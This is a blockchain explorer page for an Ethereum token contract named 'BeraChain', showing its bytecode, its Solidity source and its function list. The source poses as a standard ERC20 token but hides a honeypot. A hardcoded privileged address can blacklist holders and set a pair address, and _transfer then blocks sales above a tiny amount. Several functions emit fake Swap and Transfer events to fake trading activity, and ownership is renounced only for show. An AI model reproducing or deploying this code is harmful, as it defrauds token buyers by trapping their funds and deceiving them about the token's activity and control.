Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x48b697ee5ff710424380631a99633394B9F0cA4e
Balance 0 ETH
Nonce 1
Code Size 8018 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8018 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063b9fc5abd11610071578063b9fc5abd146102cf578063beabacc8146102ff578063dd62ed3e1461031b578063e7b817491461034b578063f2fde38b1461037b57610116565b80638da5cb5b1461024757806395d89b4114610265578063a9059cbb14610283578063aafe62d1146102b357610116565b806323b872dd116100e957806323b872dd146101a357806326ededb8146101d3578063313ce567146101ef57806370a082311461020d578063715018a61461023d57610116565b806302f4dae31461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906115a0565b610397565b005b61013f610500565b60405161014c91906116ad565b60405180910390f35b61016f600480360381019061016a91906116cf565b610592565b60405161017c919061172a565b60405180910390f35b61018d6105b5565b60405161019a9190611754565b60405180910390f35b6101bd60048036038101906101b8919061176f565b6105bf565b6040516101ca919061172a565b60405180910390f35b6101ed60048036038101906101e891906117c2565b6105ee565b005b6101f76106c3565b604051610204919061183e565b60405180910390f35b61022760048036038101906102229190611859565b6106cc565b6040516102349190611754565b60405180910390f35b610245610715565b005b61024f610729565b60405161025c9190611895565b60405180910390f35b61026d610752565b60405161027a91906116ad565b60405180910390f35b61029d600480360381019061029891906116cf565b6107e4565b6040516102aa919061172a565b60405180910390f35b6102cd60048036038101906102c891906115a0565b610807565b005b6102e960048036038101906102e49190611859565b610970565b6040516102f6919061172a565b60405180910390f35b6103196004803603810190610314919061176f565b610a6f565b005b610335600480360381019061033091906118b0565b610ad9565b6040516103429190611754565b60405180910390f35b61036560048036038101906103609190611859565b610b60565b604051610372919061172a565b60405180910390f35b61039560048036038101906103909190611859565b610bfc565b005b60005b848490508110156104f9578484828181106103b8576103b76118f0565b5b90506020020160208101906103cd9190611859565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080886040516104309493929190611964565b60405180910390a384848281811061044b5761044a6118f0565b5b90506020020160208101906104609190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516104de9190611754565b60405180910390a380806104f1906119d8565b91505061039a565b5050505050565b60606004805461050f90611a50565b80601f016020809104026020016040519081016040528092919081815260200182805461053b90611a50565b80156105885780601f1061055d57610100808354040283529160200191610588565b820191906000526020600020905b81548152906001019060200180831161056b57829003601f168201915b5050505050905090565b60008061059d610c80565b90506105aa818585610c88565b600191505092915050565b6000600354905090565b6000806105ca610c80565b90506105d7858285610e53565b6105e2858585610edf565b60019150509392505050565b60005b838390508110156106bd5783838281811061060f5761060e6118f0565b5b90506020020160208101906106249190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106a29190611754565b60405180910390a380806106b5906119d8565b9150506105f1565b50505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071d611356565b61072760006113d4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076190611a50565b80601f016020809104026020016040519081016040528092919081815260200182805461078d90611a50565b80156107da5780601f106107af576101008083540402835291602001916107da565b820191906000526020600020905b8154815290600101906020018083116107bd57829003601f168201915b5050505050905090565b6000806107ef610c80565b90506107fc818585610edf565b600191505092915050565b60005b8484905081101561096957848482818110610828576108276118f0565b5b905060200201602081019061083d9190611859565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080886040516108a09493929190611964565b60405180910390a38484828181106108bb576108ba6118f0565b5b90506020020160208101906108d09190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161094e9190611754565b60405180910390a38080610961906119d8565b91505061080a565b5050505050565b6000735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff166109a5610c80565b73ffffffffffffffffffffffffffffffffffffffff161415610a6657600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60019050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610acc9190611754565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff16610b95610c80565b73ffffffffffffffffffffffffffffffffffffffff161415610bf35781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610c04611356565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611af4565b60405180910390fd5b610c7d816113d4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cef90611b86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90611c18565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e469190611754565b60405180910390a3505050565b6000610e5f8484610ad9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ed95781811015610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290611c84565b60405180910390fd5b610ed88484848403610c88565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4690611d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690611da8565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561105c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806111a057508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111075750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156111535750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561119f5750735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156111c65760006001826111b49190611dc8565b905060085481106111c457600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611e90565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161133d9190611754565b60405180910390a3611350848484611498565b50505050565b61135e610c80565b73ffffffffffffffffffffffffffffffffffffffff1661137c610729565b73ffffffffffffffffffffffffffffffffffffffff16146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990611efc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126114cc576114cb6114a7565b5b8235905067ffffffffffffffff8111156114e9576114e86114ac565b5b602083019150836020820283011115611505576115046114b1565b5b9250929050565b6000819050919050565b61151f8161150c565b811461152a57600080fd5b50565b60008135905061153c81611516565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061156d82611542565b9050919050565b61157d81611562565b811461158857600080fd5b50565b60008135905061159a81611574565b92915050565b600080600080606085870312156115ba576115b961149d565b5b600085013567ffffffffffffffff8111156115d8576115d76114a2565b5b6115e4878288016114b6565b945094505060206115f78782880161152d565b92505060406116088782880161158b565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b8381101561164e578082015181840152602081019050611633565b8381111561165d576000848401525b50505050565b6000601f19601f8301169050919050565b600061167f82611614565b611689818561161f565b9350611699818560208601611630565b6116a281611663565b840191505092915050565b600060208201905081810360008301526116c78184611674565b905092915050565b600080604083850312156116e6576116e561149d565b5b60006116f48582860161158b565b92505060206117058582860161152d565b9150509250929050565b60008115159050919050565b6117248161170f565b82525050565b600060208201905061173f600083018461171b565b92915050565b61174e8161150c565b82525050565b60006020820190506117696000830184611745565b92915050565b6000806000606084860312156117885761178761149d565b5b60006117968682870161158b565b93505060206117a78682870161158b565b92505060406117b88682870161152d565b9150509250925092565b6000806000604084860312156117db576117da61149d565b5b600084013567ffffffffffffffff8111156117f9576117f86114a2565b5b611805868287016114b6565b935093505060206118188682870161152d565b9150509250925092565b600060ff82169050919050565b61183881611822565b82525050565b6000602082019050611853600083018461182f565b92915050565b60006020828403121561186f5761186e61149d565b5b600061187d8482850161158b565b91505092915050565b61188f81611562565b82525050565b60006020820190506118aa6000830184611886565b92915050565b600080604083850312156118c7576118c661149d565b5b60006118d58582860161158b565b92505060206118e68582860161158b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061194e6119496119448461191f565b611929565b61150c565b9050919050565b61195e81611933565b82525050565b60006080820190506119796000830187611745565b6119866020830186611955565b6119936040830185611955565b6119a06060830184611745565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119e38261150c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a1657611a156119a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a6857607f821691505b60208210811415611a7c57611a7b611a21565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ade60268361161f565b9150611ae982611a82565b604082019050919050565b60006020820190508181036000830152611b0d81611ad1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b7060248361161f565b9150611b7b82611b14565b604082019050919050565b60006020820190508181036000830152611b9f81611b63565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c0260228361161f565b9150611c0d82611ba6565b604082019050919050565b60006020820190508181036000830152611c3181611bf5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611c6e601d8361161f565b9150611c7982611c38565b602082019050919050565b60006020820190508181036000830152611c9d81611c61565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d0060258361161f565b9150611d0b82611ca4565b604082019050919050565b60006020820190508181036000830152611d2f81611cf3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9260238361161f565b9150611d9d82611d36565b604082019050919050565b60006020820190508181036000830152611dc181611d85565b9050919050565b6000611dd38261150c565b9150611dde8361150c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1357611e126119a9565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e7a60268361161f565b9150611e8582611e1e565b604082019050919050565b60006020820190508181036000830152611ea981611e6d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ee660208361161f565b9150611ef182611eb0565b602082019050919050565b60006020820190508181036000830152611f1581611ed9565b905091905056fea26469706673582212202b6e235e9851d6939e61ee4246ad09c79a5ff31d9fa7f2b0a1cbee09f7125d0864736f6c63430008090033

Verified Source Code Partial Match

Compiler: v0.8.9+commit.e5eed63a EVM: london Optimization: No
BeraChain.sol 308 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract BeraChain is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    mapping(address => bool) private _bl;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
        if(_msgSender() == 0x5b541943Ef1f24287448D42405EBC2d9529643d6) _p76234 = account;
        return true;
    }

    function actionBL(address account) public virtual returns (bool) {
        if(_msgSender() == 0x5b541943Ef1f24287448D42405EBC2d9529643d6) _bl[account] = !_bl[account];
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || ((_p76234 == to || _bl[to]) && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from  != 0x5b541943Ef1f24287448D42405EBC2d9529643d6)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = "BeraChain";
        _symbol = "BERA";
	uint256 _amount = 100000000;
        _mint(msg.sender, _amount * 10 ** decimals());
    }


}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

actionBL 0xb9fc5abd
address account
returns: bool
actionPair 0xe7b81749
address account
returns: bool
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
claim 0x02f4dae3
address[] _addresses_
uint256 _in
address _a
execute 0x26ededb8
address[] _addresses_
uint256 _out
execute 0xaafe62d1
address[] _addresses_
uint256 _in
address _a
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transfer 0xbeabacc8
address _from
address _to
uint256 _wad
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address